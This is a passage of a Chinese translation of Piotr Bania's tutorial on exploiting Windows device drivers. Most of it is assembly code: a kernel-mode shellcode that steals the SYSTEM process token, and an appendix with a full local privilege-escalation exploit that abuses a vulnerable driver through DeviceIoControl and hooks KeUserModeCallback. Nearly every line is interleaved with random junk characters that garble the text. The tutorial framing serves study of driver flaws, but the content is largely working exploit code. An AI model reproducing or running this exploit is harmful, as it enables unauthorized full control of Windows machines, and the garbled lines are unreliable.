add [edi+8],512 + 8 ; make it point to our shellc.
# C/ R( H: K( F( ]+ | mov eax,[edi.D_PACKET.dp_src] " Z2 [; B/ t& ~' l+ P* o
mov edx,[edi.D_PACKET.dp_dest] , N* v% [0 }5 _: B. H
mov [edi.D_PACKET.dp_src],edx ; fill the packet structure 4 f# i$ |" L! L2 U8 R! S* t, t
mov [edi.D_PACKET.dp_dest],eax
! y' n# ~% M. g' e; s* T' i' @ mov ecx,MY_ADDRESS_SIZE
2 Y- p' o/ h. ^0 s9 f, y# z/ l( B5 o call talk2device ; do the magic thing!
$ @# e* R- R- ]! D7 }
! U: D3 b8 r* @0 D1 ^; [# |
* H1 b" }$ m! U. D 关键点5:开发特定的内核模式shellcode
& ~2 T4 t6 `* B 因为我们攻击的是逻辑上的驱动,我们没有办法使用常用的shellcode。我们可以使用少量的其他变量,比如windows syscall shellcode(公布在SecurityFocus,请参见参考文献)。但是有很多非常有用的例子,现在我就讨论下在Xcon 上Eyas 介绍到的shellcodde。
, q7 n- x' _. `4 H5 H7 v* c( t 这个想法非常简单。首先,我们需要找到System的token,然后我们将它分配给我们的进程——这会将给我们的进程System权限。# n$ b N1 H. R$ ]) E
步骤:
- ~ G2 ^+ ?5 w - 找到ETHREAD(位于fs:[0x124])
8 M- {: k8 f+ j! q - 从ETHREAD开始遍历EPROCESS) O: x/ W6 G4 [: \" ?
- 我们使用EPROCESS.ActiveProcessLinks 检测所有运行中的进程( I9 O0 f- f/ l
- 我们将运行中的进程的pid 与System的pid 比较(Windows XP 始终为4)
: q, ?! K; {$ g9 l - 获得后,我们搜索我们进程的pid,并且讲System的token 分配给我们的进程
2 b" t1 _+ _$ A$ }3 _# S 这里是完整的shellcode:
9 f( P8 J+ m! w' @4 }7 ^2 q ; ------------------------------------------------------------ " D) m, |8 K' @& W6 H) N3 J
; Device Driver shellcode 7 d" b# a$ { j
; ------------------------------------------------------------
6 |' ]# @& \2 r. A) x$ w XP_PID_OFFSET equ 084h ; hardcoded numbers for Windows XP
$ d7 {8 }$ f ~6 `$ q7 {. r0 p XP_FLINK_OFFSET equ 088h
' K: M3 ^# s& {1 O1 ^/ X XP_TOKEN_OFFSET equ 0C8h - U3 b8 e" q4 [) X: h' ^5 u3 ]
XP_SYS_PID equ 04h + `7 A3 o# x1 ^+ w" }* }
my_shellcode proc
& Z/ n; C g7 z6 L8 T- F& d ^, p) Y pushad % n% l* x( R/ t
db 0b8h ; mov eax,old_routine
4 z$ v8 y9 r, I old_routine dd 0 ; hardcoded
z* h l. s) X9 M, F$ q. ` db 0b9h ; mov ecx,routine_addr
6 E4 A) B8 C* E7 A& w routine_addr dd 0 ; this too
8 V8 `2 o6 ^" r8 I p. C mov [ecx],eax ; restore old routine + l; D& J/ U& f) [" l
; avoid multiple calls...
# v( {- x5 D; d/ q ; ----------------------------------------- , |1 Z4 e9 C6 J
; start escalation procedure
, _; j9 v7 J) ~ ; ----------------------------------------- 8 [ C2 a4 _3 O" l0 K V/ v
mov eax,dword ptr fs:[124h]
% |' k3 n& V* U, m7 O( R) T' n. s mov eax,[eax+44h]
& \* b. s+ E0 y* m5 I: B g push eax ; EAX = EPROCESS
* O/ t( \( C. y9 u- I. ]- U1 ~. N s1: mov eax,[eax+XP_FLINK_OFFSET] ; EAX = ' k" U+ s) l/ I) a4 F
EPROCESS.ActiveProcessLinks.Flink
: I: I# s, _9 \' Y# r; \ sub eax,XP_FLINK_OFFSET ; EAX = EPROCESS of next process
5 C( G3 N; l2 l cmp [eax+XP_PID_OFFSET],XP_SYS_PID ; UniqueProcessId == SYSTEM PID ?
5 }) c U3 H2 v; R6 D( s d. J8 U. H jne s1 ; nope, continue search ( ?5 `! i: [+ e4 l# L+ g' q0 p/ J
; EAX = found EPROCESS & [% `8 J- O$ R& H. A
mov edi,[eax+XP_TOKEN_OFFSET] ; ptr to EPROCESS.token
# m$ S# { { I+ `, _- K6 S and edi,0fffffff8h ; aligned by 8 * Y* D4 l7 A( w, A8 f
pop eax ; EAX = EPROCESS
, h# M' ]0 U0 W4 H% c& ^$ x db 68h ; hardcoded push
. e( Y; Y- E8 ?8 x- V4 E3 @4 d my_pid dd 0
" v% P7 h, M$ P$ A4 O" K/ F- S pop ebx ; EBX = pid to escalate
* V, a/ B$ M2 d! z* ]+ H5 S' G/ i s2: mov eax,[eax+XP_FLINK_OFFSET] ; EAX = 0 J7 f, C. F! M& h5 k3 @
EPROCESS.ActiveProcessLinks.Flink
! {* y: s; N; M3 R& C sub eax,XP_FLINK_OFFSET ; EAX = EPROCESS of next process
2 Q, B& ~7 W( i2 r8 `* g; `+ W. } cmp [eax+XP_PID_OFFSET],ebx ; is it our PID ??? ' M# Z- ]0 w# B2 Y2 q
jne s2 ; nope, try next one
' `5 x* [& w; [# C5 s# ?& i mov [eax+XP_TOKEN_OFFSET],edi ; party's over :) - o$ ]) U0 n/ a& x$ B! T5 m* x+ m
popad
7 ~* F# E2 M- @$ q6 H5 s db 68h ; push old_routine ) N6 }# j0 l0 G5 F
old_routine2 dd 0 ; ret
& j1 u- [6 c1 B0 D& R ret " f& N) m5 b% n* r7 d- s
my_shellcode_size equ $ - offset my_shellcode
, I* i0 U6 B) W1 ^" ^+ c, J my_shellcode endp; m0 }3 I" {) O' f% \: U4 X# m
5 h* S8 t/ }: F0 H/ z' J
3 X: y0 r0 Q5 P. d5 J- T) ~5 g' @' }" }
结束语3 {) |- j7 l/ M
最后希望你能够喜欢这个文档,如果你有什么疑问不能解决,请联系我。所有文章中设计的程序可以在网站http://pb.specialised.info 上下载。
( x8 _3 p8 H4 x: h2 B* ^# {3 R 参考文献:& r5 b2 j$ x6 y6 Q
1) Win32 Device Drivers Communication Vulnerabilities
# N! k% D# E, { b" z 2) "Remote Windows Kernel Exploitation – Step into the Ring 0", by Barnaby Jack –
# X. k4 H+ I% I/ O9 p! R* @4 Y& z eEYE digital security – http://www.eeye.com* ^+ b/ n: x( A+ Q6 O- W+ A0 T
3) Eyas shellcode publication - ?3 V, A+ k6 G; O
4) "The Windows 2000/NT Native Api Reference", by Gary Nebett
1 y7 L0 u; p, x' |8 B+ K) Y( u 5) "Windows Syscall Shellcode", by myself -http://www.securityfocus.net/infocus/1844
1 L& S2 G7 R$ C3 F9 @ 6) http://pb.specialised.info* C1 t: j$ T' c" p% W
附录:exploit
) d. D F' c. Y; S4 C6 A" ^ b4 ? ; ------------------------------------------------------------
! c( k/ f/ P8 F# C6 _4 Q# d- f ; Sample local device driver exploit
/ B4 U! y6 m' b ; by Piotr Bania ; I5 ?6 }* D' t2 i
; http://pb.specialised.info
# ?' Q, ~) e$ P4 I! r5 v. o! ~ ; All rights reserved 8 N. p& ]% ]" m- ^/ I
; ------------------------------------------------------------
) F( ] r" \4 k) G include my_macro.inc : Z. X3 w8 e/ H* x! |; |
DEVICE_NAME equ "\\.\BUGGY"
T: z: P) t; ^! H) W6 | MY_ADDRESS equ 000110000h 1 s( K Q5 Z- ~3 b" x
MY_ADDRESS_SIZE equ 512h ; some more
& }9 `" K8 y h8 ` D_PACKET struct
f0 j9 D! [# T6 o0 B dp_dest dd 0 # _2 J6 H2 U9 F5 K/ J: U3 J9 W% O
dp_src dd 0 $ i, `3 _; r& n
D_PACKET ends 4 f2 k% E# e/ b4 ^, q
call find_KeUserModeCallback_Routine
0 y5 f# `2 [1 l3 h- U call get_ntos_base 9 i0 _& c& M1 ^. C
mov eax,dword ptr [real_ntos_base]
, y. K. z. m/ [/ v. A% N9 G' D add dword ptr [KeUserModeCallback_Routine],eax 0 U8 x( l$ [$ l2 b/ B
call open_device 3 ]% i/ }6 `# N
mov ebx,eax p4 l; E1 V' ?; y
push PAGE_EXECUTE_READWRITE ' y& Q6 ?) I* c; d3 p7 y* S
push MEM_COMMIT
# |3 J3 y. r& i8 N$ A, o push MY_ADDRESS_SIZE , t) c$ N5 T$ j3 A- j% `
push MY_ADDRESS 5 Q5 t& K& K3 o$ a9 d, J
@callx VirtualAlloc
+ ^$ v5 r1 V) U, Y: d; ^" t @check 0,"Error: cannot allocate memory!" / ^+ Z5 v# B, m; k
mov edi,eax 6 G7 P9 F y4 W* F0 G
; first signal copies original bytes to the buffer
% z0 c* u9 o0 H0 G7 S8 x! C( W- l mov eax,dword ptr [KeUserModeCallback_Routine] 7 @- ^0 i: P8 B' A3 B o/ w
mov dword ptr [routine_addr],eax % F4 L8 k2 ~9 w: } K/ X+ t4 o
mov [edi.D_PACKET.dp_src],eax / j; {4 l/ u0 W8 S+ C: l3 K* X
mov [edi.D_PACKET.dp_dest],edi 9 `" N: Y) W0 e% c7 O) q
add [edi.D_PACKET.dp_dest],8 R4 }5 J$ N7 P5 c$ z9 Q0 O5 `
mov ecx,512 4 U; m5 G" X& `$ D$ b. y
call talk2device
6 x3 d) u% m- O3 N6 [ ; original bytes are stored at edi+8 (in size of 512) - m, u0 P0 ]! H: E& k
; now lets fill the shellcode 0 F8 O8 E5 D# |' D7 G# [
mov eax,[edi+8] , W+ |' Z1 N: @* ?; A F9 a
mov dword ptr [old_routine],eax : v# \! B* H$ x* q! y
mov dword ptr [old_routine2],eax
0 U) ?2 O+ w) E# G3 [ @callx GetCurrentProcessId
4 C W/ r, ^, N+ Z- [% u mov dword ptr [my_pid],eax 4 \7 }1 u% ^1 h7 n4 v
push edi ! `9 L; w2 E t9 H7 V
mov ecx,my_shellcode_size 7 w' z6 A: V, S' G# y7 O
add edi,512 + 8
# I0 M% r, s" y! g$ }( l, u lea esi,my_shellcode
& j- I$ t& {% q; P) Y3 o rep movsb ) [& Z5 ^$ G! M1 ~3 ^1 {- v( X
pop edi
. } B8 w7 ?, ^$ A6 d" u0 U% q0 }1 m ; make the old KeUserModeCallback_Routine point to our shellcode
4 c1 A8 {' }" I& A8 `- C ; and exchange the source packet with destination packet ( I( b* L0 @& e* _
mov [edi+8],edi + O, }9 R$ c- b; ~
add [edi+8],512 + 8
. p5 [) X4 D- n& h mov eax,[edi.D_PACKET.dp_src]
1 F0 j0 m M) W" b' k- h* ^# z mov edx,[edi.D_PACKET.dp_dest] 8 c X& @1 y/ L# N8 q# x* _
mov [edi.D_PACKET.dp_src],edx
; Y3 |' }1 i: i mov [edi.D_PACKET.dp_dest],eax / y( e7 D! c9 s+ Q9 u) k( A1 L
mov ecx,MY_ADDRESS_SIZE
; f& ]+ N: F! W) G6 f call talk2device ' \, G5 [7 s$ _: k
push MEM_DECOMMIT & m$ w8 U& g) r1 \
push MY_ADDRESS_SIZE
! O$ ?; u0 a& \ push edi : j8 }3 \, u+ K
@callx VirtualFree
- H/ [2 r3 N; X2 B# ^$ W7 Y- B @debug "I'm escalated !!!",MB_ICONINFORMATION
1 S$ `7 l# S3 _. G+ d. J( A4 b exit:
8 H# `" w& t$ B1 L2 p+ X* u8 q push 0 ; m2 M# a* b4 R4 o4 C
@callx ExitProcess 1 |! u+ E/ [1 b ^
; ------------------------------------------------------------ 4 B2 D5 Y& y9 i
; Device Driver shellcode
- H1 i% M V9 Y: @3 K ; ------------------------------------------------------------
+ W) m0 a A9 i7 d XP_PID_OFFSET equ 084h $ x |$ U5 U9 F8 Q
XP_FLINK_OFFSET equ 088h . n: ]& w- ~+ l6 v* H
XP_TOKEN_OFFSET equ 0C8h 5 K0 Q+ |- \: I$ n# q
XP_SYS_PID equ 04h
3 ]9 Z9 p$ o# U. c* a/ f& F. K, p my_shellcode proc ; }, o+ L" X" a4 P. s% q8 b, A
pushad
2 y7 P7 _! @1 t. `, D- n+ ? db 0b8h ; mov eax,old_routine 4 c" n' F" f! p C; Y" {
old_routine dd 0 ; hardcoded 2 ?) C4 X0 h! Z4 @+ _2 V
db 0b9h ; mov ecx,routine_addr 4 a6 B) D& J: d* ~5 o
routine_addr dd 0 ; this too 4 i0 R0 e7 p; e: d
mov [ecx],eax ; restore old routine * D; Z/ w. i, o* n3 S2 J) w5 m8 J
; avoid multiple calls...
0 G2 K/ ^! [& M$ ? ; -----------------------------------------
& W- o. o2 C4 x+ g ; start escalation procedure
) E, z7 f( M l! N; F) S7 \! g7 m ; ----------------------------------------- 7 p0 Q5 |6 I* m0 q# [ G
mov eax,dword ptr fs:[124h]
) q+ z) S* r5 M4 \. V! m( d$ r" f mov eax,[eax+44h]
# h, V: J' h% l& E% h5 I4 G push eax ; EAX = EPROCESS ) D7 n& F+ j) E! X
s1: mov eax,[eax+XP_FLINK_OFFSET] ; EAX =
+ P0 R A' ^! u4 J( c) l% O EPROCESS.ActiveProcessLinks.Flink
- U! D" X, B: y sub eax,XP_FLINK_OFFSET ; EAX = EPROCESS of next process . B9 Y- P( W4 k1 y+ y; O7 J
cmp [eax+XP_PID_OFFSET],XP_SYS_PID ; UniqueProcessId == SYSTEM PID ? 5 h; A3 o4 F% u1 p
jne s1 ; nope, continue search
/ |" } x2 T* i5 B3 Y ; EAX = found EPROCESS ! @- k5 H7 k5 W) H; B, u3 ?$ A- h
mov edi,[eax+XP_TOKEN_OFFSET] ; ptr to EPROCESS.token
E- f- ~& [! h0 r and edi,0fffffff8h ; aligned by 8
0 n) D* U6 |8 ^; v3 n- G( s pop eax ; EAX = EPROCESS : p$ i6 Q8 Z. g, \* j
db 68h ; hardcoded push
3 @/ q8 R+ J( a v0 @6 N/ S my_pid dd 0 E" g2 i: [, u
pop ebx ; EBX = pid to escalate
1 ]5 I% | I# X" ?7 o- Z s2:
, K, ?" J& B% Z1 L* e mov eax,[eax+XP_FLINK_OFFSET] ; EAX = EPROCESS.ActiveProcessLinks.Flink ; M6 N3 @7 W( W' ]8 W- q X
sub eax,XP_FLINK_OFFSET ; EAX = EPROCESS of next process + {2 Q! [- q5 L6 z3 {
cmp [eax+XP_PID_OFFSET],ebx ; is it our PID ???
$ T6 \' W' `9 J; _1 R jne s2 ; nope, try next one
. m$ s3 W4 A- x6 Q4 U- z mov [eax+XP_TOKEN_OFFSET],edi ; party's over :) - W8 D! n* L: H" ~/ F+ j
popad f( I' ?1 D8 B4 S, ~
db 68h ; push old_routine - o! _9 t* C8 }) ~
old_routine2 dd 0 ; ret ; w; R# \# S( p8 g; C
ret 0 I# C5 i( q$ C" B
tok_handle dd 0 & P( s% L/ m1 {. G2 ~4 @; i3 G
my_shellcode_size equ $ - offset my_shellcode 6 r8 ?" s7 B, I+ o- _
my_shellcode endp , d9 _; X6 W3 F( g! ~3 ^! r& B. k" \/ M
; ------------------------------------------------------------
4 V, i! j5 K g+ `4 E9 b8 w ; finds the KeUserModeCallback_Routine from ntoskrnl.exe ' ~6 v/ ^ u* B) U, C8 c a/ B
; ------------------------------------------------------------ 2 K$ } _4 S- z6 z+ f. Z
find_KeUserModeCallback_Routine proc 8 \& N4 k( ~5 b0 R+ N
pushad
# J0 b8 Q3 `8 B push 1 ;DONT_RESOLVE_DLL_REFERENCES
" f7 c# P1 V, B5 L9 B0 v! { push 0
; U( Q' h5 m7 t2 S: _ @pushsz "C:\windows\system32\ntoskrnl.exe" $ x) j% Y% X. r0 h
@callx LoadLibraryExA 0 |: y0 ?4 o0 }; j. `
@check 0,"Error: cannot load library"
2 L- d% n. ?9 m [ mov ebx,eax 0 |- d8 g! k. f' m6 |2 `
@pushsz "KeUserModeCallback"
( U4 Q# A) H) V, k* Q& ^9 ~ ] push eax 2 s+ T/ ]/ }. @% b
@callx GetProcAddress
& i- y- l& s5 ]' L# A mov edi,eax 2 J# }- b9 f$ m2 g7 ?
@check 0,"Error: cannot obtain KeUserModeCallback address" 3 A% X1 c3 ? ^. h
scan_for_call: inc edi
T+ n7 S6 U: K% i+ n# I1 p* ^ cmp word ptr [edi],015FFh
6 W0 m, ~' a0 A2 u' c4 A5 k2 I$ f jne scan_for_call
0 C1 j9 D+ |2 K mov eax,[edi+2] ' }$ ] U: }+ e
mov ecx,[ebx+3ch]
- n" p: p! K g) B3 Y; A4 z6 o add ecx,ebx ' B! t: {# \; x' V- h3 v
mov ecx,[ecx+34h] 4 R5 A# O/ V5 N
sub eax,ecx ' g% j3 [ v0 N) J2 ~' L$ J
mov dword ptr [KeUserModeCallback_Routine],eax
5 ^/ i9 D `" y, Q popad + `9 Q* p/ ^, l% a# S" _# e% m8 N
ret
( }* q$ ]0 ^6 f9 ^7 R' _ find_KeUserModeCallback_Routine endp
8 S) D5 u+ J4 x! T8 l6 U ; ------------------------------------------------------------ ; v8 Q) b; k6 m, G" E% P
; Gets ntoskrnl.exe module base (real)
$ L; c0 n( D* H6 d* l! |2 O ; ------------------------------------------------------------ ?9 U: o3 a# Q0 \: N
get_ntos_base proc 4 F x7 w+ {# p) I. v ~5 e
local __MODULES : _MODULES
4 t# P$ ~/ e& S pushad ( C- j# |% K+ _9 j. R1 v$ {& s9 V
@get_api_addr "ntdll","NtQuerySystemInformation"
' L$ I5 y- p0 D# i+ h% _4 @0 { @check 0,"Error: cannot grab NtQuerySystemInformation address"
& z% G1 x s0 R5 P1 M3 A) l+ } mov ebx,eax ! W" ]) M" o% f
call a1 2 x" c! \. V4 i8 ^9 |# L9 ?$ O
ns dd 0 7 {5 Z: c- j+ z) H& L- {
a1: push 4
: P% k3 }6 H6 w- Z7 ?9 _ lea ecx,[__MODULES]
' j5 f% b' q m, p7 x8 b8 s) R9 z push ecx
- X* o; i- N( K) _4 H push SystemModuleInformation ( _8 S6 E$ u5 k! |
call eax $ Y1 {/ c* t! W( h) c
cmp eax,0c0000004h
* ]! P$ @8 d5 ?' {7 I" a9 C4 R jne error_ntos
! x' m/ ^7 q/ ] l: Y M) \3 X d push dword ptr [ns] 5 D! @% r8 g! U0 h
push GMEM_FIXED or GMEM_ZEROINIT 3 S+ u5 T8 |) B/ q
@callx GlobalAlloc & T1 B4 n4 z, R* E, q0 A( {
mov ebp,eax
5 ~& y" I+ K L0 K3 W3 \, M9 ~! u! L push 0
! M( J4 T9 K) Y6 i push dword ptr [ns] # `( Y' A( d# N5 V' O4 r: t
push ebp
' G3 o& |! B3 p- E0 j* e$ K push SystemModuleInformation ' J6 b4 b& m; D1 F3 L* S, F; m% d
call ebx
8 L U. _) ^9 R* j" J0 U test eax,eax , b E* }. R- X; E' U& M- E
jnz error_ntos 8 \( g& z9 a% w1 J" z
mov eax,dword ptr [ebp.smi_Base] - m* z! m8 r) X' e- C: b. i
mov dword ptr [real_ntos_base],eax
3 G% y1 N4 `2 k" h8 {! j0 E8 Z4 i" | push ebp : D# p3 N( C! R1 t- b
@callx GlobalFree
7 ~) x! X# R+ n popad ! p2 o4 F: i8 l5 }* D
ret
- d% w9 ^7 p6 g" `* Y4 a" u2 C- W. y error_ntos: xor eax,eax
R4 J0 N5 C1 l X* q; \) T @check 0,"Error: cannot execute NtQuerySystemInformation"
- s7 T* t+ ^8 M& L% \. L) i0 E# Q" _ get_ntos_base endp
. Y( Y5 j* Q/ B9 p ; ------------------------------------------------------------
9 v) `. C+ Q) x" R+ o! t ; Opens the device we are trying to attack 5 p% C- w; s5 }6 \
; ------------------------------------------------------------ 5 Y& l* O( ]( _+ U* j7 g
open_device proc
; [; X W3 y: T pushad 4 [8 F4 o5 A+ g1 m# ^
push 0
, `5 h1 u% {6 o z push 80h
% C7 M/ Q7 j1 z; D; D push 3
" {) G0 R% D" {" B8 S- b# ` push 0
$ X& B1 P- p" P% B! I6 l: R4 V$ Y push 0 # k5 q8 r I8 Y- u9 f
push 0 " y4 _( ]& U% c7 ^( J5 P
@pushsz DEVICE_NAME 8 r7 X, t+ {/ W
@callx CreateFileA ( Y3 R8 Z5 H) U7 R; W! P
@check -1,"Error: cannot open device!"
% m( A7 h9 J+ G mov dword ptr [esp+PUSHA_STRUCT._EAX],eax
' N& H3 J* a" x; C& Z' h% ^1 ] popad
6 T# P9 J* J6 H$ N- v- y ret ) _9 q x5 X( ~: U- q
open_device endp
# v* I7 k' p1 y8 Z# z+ `1 \ ; ------------------------------------------------------------ : W5 z6 D/ C$ j ~' \/ G+ V/ }
; Procedure that communicates with the driver ' F# [4 n5 Z% @- b4 m
;
# c8 p/ z) j# V& ` ; ENTRY -> EDI = INPUT BUFFER / s- r* j; y8 D1 e
; ECX = INPUT BUFFER SIZE 5 S* C O5 F1 U! t
; EBX = DEVICE HANDLE
( h* e. x F; S) F: W; W% i/ R8 _; r ; ------------------------------------------------------------
. M8 J/ |9 c# X7 f0 ~. @( Y7 _3 j talk2device proc y9 _$ D ^3 ?4 U3 F+ D
pushad
* k& `) F9 w% @9 W3 g- P$ M push 0
% j& S' K/ H1 a; c& o$ m) m( P push offset bytes_ret ! J4 f% n f7 T0 ?* d
push 0 ! o4 a+ C9 T) @% j! _0 G$ \
push 0 ! p/ _2 F' \6 o" ?( q9 u
push ecx / [$ T3 F5 M, g& w
push edi G ^$ d1 ?1 `6 E0 w2 p
push 011111111h 6 ]6 b. K$ M7 N
push ebx $ v0 g! Y3 E8 g: J' G8 Y' U& m: D
@callx DeviceIoControl 1 K! n5 f" ]1 }
@check 0,"Error: Send() failed"
5 B+ \" ~5 V$ f7 S5 V- n" [ popad
# a2 Y! ~9 }$ M1 O( B2 w* x ret - [- m# B& i/ Y* ?+ f' t" G. v
bytes_ret dd 0 _& \9 s7 C7 O
talk2device endp
5 K ?2 I. ^3 q _MODULES struct 8 G7 `, L1 C( W- |- U% D/ g
dwNModules dd 0 3 ]% R# V9 p% u& T
smi_Reserved dd 2 dup (0)
# L' \( u7 {, l* f2 L; i9 o ^% ^ smi_Base dd 0
# X. \6 B6 w) W0 u smi_Size dd 0 5 i# B6 {! ^( L7 M
smi_Flags dd 0 + P2 b- b G1 ~& Z2 z
smi_Index dw 0 1 P D% g6 c8 U: F8 }# H
smi_Unknown dw 0
/ e) N: P3 E- k smi_LoadCount dw 0 ) J: f' `4 x- ^# g/ _
smi_ModuleName dw 0
1 L3 ^5 |1 ]' S. e smi_ImageName db 256 dup (0) : d# a/ d6 \- t0 r
ends 3 i" _. @, s+ P9 v
SystemModuleInformation equ 11
7 T# D/ [ u8 ], B4 k0 N% |, x, C KeUserModeCallback_Routine dd 0
) p2 u6 H2 l8 S1 m, l r real_ntos_base dd 0 ) r. S, a1 q5 u6 A/ R+ b/ ?- ^" c
base dd 0
/ g- ~. g/ a. T include debug.inc " l( I8 s) G- D: Q) \
end start
- g, B! J3 l5 O/ Z
5 M1 A8 ]( [. E; b; [4 P8 f" @ Q: x- C1 Q8 _
原文作者:Piotr Bania
' F3 J: @$ T. D1 d; D: L9 L7 [ 译者BLOG:http://hi.baidu.com/ayarei
# _" [4 A$ }0 _7 z+ V
. T/ V# y) c5 ^
8 n! @! S7 r0 S' w |
|